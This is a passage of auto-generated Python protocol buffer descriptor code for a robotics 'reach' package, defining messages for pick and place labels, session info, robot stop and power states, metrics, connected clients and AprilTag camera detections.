has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0042\002TS', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='device_name', full_name='robotics.learning.reach.DeviceDataRef.device_name', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='device_type', full_name='robotics.learning.reach.DeviceDataRef.device_type', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='seq', full_name='robotics.learning.reach.DeviceDataRef.seq', index=3,
number=4, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=21811,
serialized_end=21933,
)
_PLACELABEL = _descriptor.Descriptor(
name='PlaceLabel',
full_name='robotics.learning.reach.PlaceLabel',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='label', full_name='robotics.learning.reach.PlaceLabel.label', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='pose_2d', full_name='robotics.learning.reach.PlaceLabel.pose_2d', index=1,
number=2, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='pose2D', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='position_3d', full_name='robotics.learning.reach.PlaceLabel.position_3d', index=2,
number=3, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='position3D', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='quaternion_3d', full_name='robotics.learning.reach.PlaceLabel.quaternion_3d', index=3,
number=4, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='quaternion3D', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=b'\360\276\343\330\t\001',
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=21936,
serialized_end=22170,
)
_PICKLABEL = _descriptor.Descriptor(
name='PickLabel',
full_name='robotics.learning.reach.PickLabel',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='label', full_name='robotics.learning.reach.PickLabel.label', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='depth_ts', full_name='robotics.learning.reach.PickLabel.depth_ts', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='depthTS', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='device_data_ref', full_name='robotics.learning.reach.PickLabel.device_data_ref', index=2,
number=4, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='user_data_ref', full_name='robotics.learning.reach.PickLabel.user_data_ref', index=3,
number=11, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='pose_2d', full_name='robotics.learning.reach.PickLabel.pose_2d', index=4,
number=3, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='pose2D', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='position_3d', full_name='robotics.learning.reach.PickLabel.position_3d', index=5,
number=5, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='position3D', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='quaternion_3d', full_name='robotics.learning.reach.PickLabel.quaternion_3d', index=6,
number=6, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='quaternion3D', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='task_code', full_name='robotics.learning.reach.PickLabel.task_code', index=7,
number=7, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='pick_id', full_name='robotics.learning.reach.PickLabel.pick_id', index=8,
number=8, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='pickID', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='tags', full_name='robotics.learning.reach.PickLabel.tags', index=9,
number=9, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='intent', full_name='robotics.learning.reach.PickLabel.intent', index=10,
number=10, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='success_type', full_name='robotics.learning.reach.PickLabel.success_type', index=11,
number=12, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=b'\360\276\343\330\t\001',
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=22173,
serialized_end=22685,
)
_SESSIONINFO = _descriptor.Descriptor(
name='SessionInfo',
full_name='robotics.learning.reach.SessionInfo',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='operator_uid', full_name='robotics.learning.reach.SessionInfo.operator_uid', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='operatorUID', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='operator_type', full_name='robotics.learning.reach.SessionInfo.operator_type', index=1,
number=16, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='session_id', full_name='robotics.learning.reach.SessionInfo.session_id', index=2,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='sessionID', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='start_time', full_name='robotics.learning.reach.SessionInfo.start_time', index=3,
number=3, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='robot_name', full_name='robotics.learning.reach.SessionInfo.robot_name', index=4,
number=4, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='client_os', full_name='robotics.learning.reach.SessionInfo.client_os', index=5,
number=5, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='clientOS', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='ui_version', full_name='robotics.learning.reach.SessionInfo.ui_version', index=6,
number=6, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0132\tUIVersion', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='calibration_version', full_name='robotics.learning.reach.SessionInfo.calibration_version', index=7,
number=7, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='accept_depth_encoding', full_name='robotics.learning.reach.SessionInfo.accept_depth_encoding', index=8,
number=8, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='relay', full_name='robotics.learning.reach.SessionInfo.relay', index=9,
number=9, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='actionsets_version', full_name='robotics.learning.reach.SessionInfo.actionsets_version', index=10,
number=10, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='safety_version', full_name='robotics.learning.reach.SessionInfo.safety_version', index=11,
number=11, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='workcell_io_version', full_name='robotics.learning.reach.SessionInfo.workcell_io_version', index=12,
number=12, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='workcellIOVersion', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='transport', full_name='robotics.learning.reach.SessionInfo.transport', index=13,
number=13, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='client_session_uid', full_name='robotics.learning.reach.SessionInfo.client_session_uid', index=14,
number=14, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='clientSessionUID', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='workcell_setup_version', full_name='robotics.learning.reach.SessionInfo.workcell_setup_version', index=15,
number=15, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='constraints_version', full_name='robotics.learning.reach.SessionInfo.constraints_version', index=16,
number=17, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=22688,
serialized_end=23227,
)
_PROTECTIVESTOPSTATE = _descriptor.Descriptor(
name='ProtectiveStopState',
full_name='robotics.learning.reach.ProtectiveStopState',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='is_protective_stopped', full_name='robotics.learning.reach.ProtectiveStopState.is_protective_stopped', index=0,
number=1, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='safety_message', full_name='robotics.learning.reach.ProtectiveStopState.safety_message', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=b'\340\276\343\330\t\001',
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=23229,
serialized_end=23313,
)
_SAFEGUARDSTOPSTATE = _descriptor.Descriptor(
name='SafeguardStopState',
full_name='robotics.learning.reach.SafeguardStopState',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='is_safeguard_stopped', full_name='robotics.learning.reach.SafeguardStopState.is_safeguard_stopped', index=0,
number=1, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='safety_message', full_name='robotics.learning.reach.SafeguardStopState.safety_message', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=b'\340\276\343\330\t\001',
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=23315,
serialized_end=23397,
)
_EMERGENCYSTOPSTATE = _descriptor.Descriptor(
name='EmergencyStopState',
full_name='robotics.learning.reach.EmergencyStopState',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='is_emergency_stopped', full_name='robotics.learning.reach.EmergencyStopState.is_emergency_stopped', index=0,
number=1, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='safety_message', full_name='robotics.learning.reach.EmergencyStopState.safety_message', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=b'\340\276\343\330\t\001',
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=23399,
serialized_end=23481,
)
_ROBOTPOWERSTATE = _descriptor.Descriptor(
name='RobotPowerState',
full_name='robotics.learning.reach.RobotPowerState',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='is_robot_power_on', full_name='robotics.learning.reach.RobotPowerState.is_robot_power_on', index=0,
number=1, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=23483,
serialized_end=23527,
)
_METRIC = _descriptor.Descriptor(
name='Metric',
full_name='robotics.learning.reach.Metric',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='value', full_name='robotics.learning.reach.Metric.value', index=0,
number=4, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\016b\014metric_value', json_name='metricValue', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='labels', full_name='robotics.learning.reach.Metric.labels', index=1,
number=3, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\n2\006Labels8\000', json_name='metricLabels', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=b'\350\276\343\330\t\001',
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=23530,
serialized_end=23726,
)
_EMPTYMESSAGE = _descriptor.Descriptor(
name='EmptyMessage',
full_name='robotics.learning.reach.EmptyMessage',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=b'\340\276\343\330\t\001',
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=23728,
serialized_end=23750,
)
_SETOUTPUT = _descriptor.Descriptor(
name='SetOutput',
full_name='robotics.learning.reach.SetOutput',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='type', full_name='robotics.learning.reach.SetOutput.type', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\tb\007py_type', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='name', full_name='robotics.learning.reach.SetOutput.name', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='args', full_name='robotics.learning.reach.SetOutput.args', index=2,
number=3, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=23752,
serialized_end=23864,
)
_CONNECTEDCLIENTS = _descriptor.Descriptor(
name='ConnectedClients',
full_name='robotics.learning.reach.ConnectedClients',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='clients', full_name='robotics.learning.reach.ConnectedClients.clients', index=0,
number=1, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=23866,
serialized_end=23943,
)
_CONNECTEDCLIENT = _descriptor.Descriptor(
name='ConnectedClient',
full_name='robotics.learning.reach.ConnectedClient',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='uid', full_name='robotics.learning.reach.ConnectedClient.uid', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0052\003UID', json_name='uid', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='is_current', full_name='robotics.learning.reach.ConnectedClient.is_current', index=1,
number=2, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='control_session_active', full_name='robotics.learning.reach.ConnectedClient.control_session_active', index=2,
number=3, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=23945,
serialized_end=24045,
)
_DETECTION = _descriptor.Descriptor(
name='Detection',
full_name='robotics.learning.reach.Detection',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='source', full_name='robotics.learning.reach.Detection.source', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='detections', full_name='robotics.learning.reach.Detection.detections', index=1,
number=2, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='camera_shift', full_name='robotics.learning.reach.Detection.camera_shift', index=2,
number=3, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=24048,
serialized_end=24243,
)
_SOURCEIMAGE = _descriptor.Descriptor(
name='SourceImage',
full_name='robotics.learning.reach.SourceImage',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='ts', full_name='robotics.learning.reach.SourceImage.ts', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0042\002TS', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='device_type', full_name='robotics.learning.reach.SourceImage.device_type', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='device_name', full_name='robotics.learning.reach.SourceImage.device_name', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='data_type', full_name='robotics.learning.reach.SourceImage.data_type', index=3,
number=4, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=24245,
serialized_end=24371,
)
_DETECTIONAPRILGROUPAPRILTAG = _descriptor.Descriptor(
name='DetectionAprilGroupAprilTag',
full_name='robotics.learning.reach.DetectionAprilGroupAprilTag',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='id', full_name='robotics.learning.reach.DetectionAprilGroupAprilTag.id', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0132\002IDb\005py_id', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='corners', full_name='robotics.learning.reach.DetectionAprilGroupAprilTag.corners', index=1,
number=2, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=24373,
serialized_end=24450,
)
_DETECTIONAPRILGROUPINFO = _descriptor.Descriptor(
name='DetectionAprilGroupInfo',
full_name='robotics.learning.reach.DetectionAprilGroupInfo',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='april_tags', full_name='robotics.learning.reach.DetectionAprilGroupInfo.april_tags', index=0,
number=1, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=24452,
serialized_end=24551,
)
_DETECTIONENTRY = _descriptor.Descriptor(
name='DetectionEntry',
full_name='robotics.learning.reach.DetectionEntry',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='id', full_name='robotics.learning.reach.DetectionEntry.id', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0132\002IDb\005py_id', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='type', full_name='robotics.learning.reach.DetectionEntry.type', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\tb\007py_type', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='corners', full_name='robotics.learning.reach.DetectionEntry.corners', index=2,
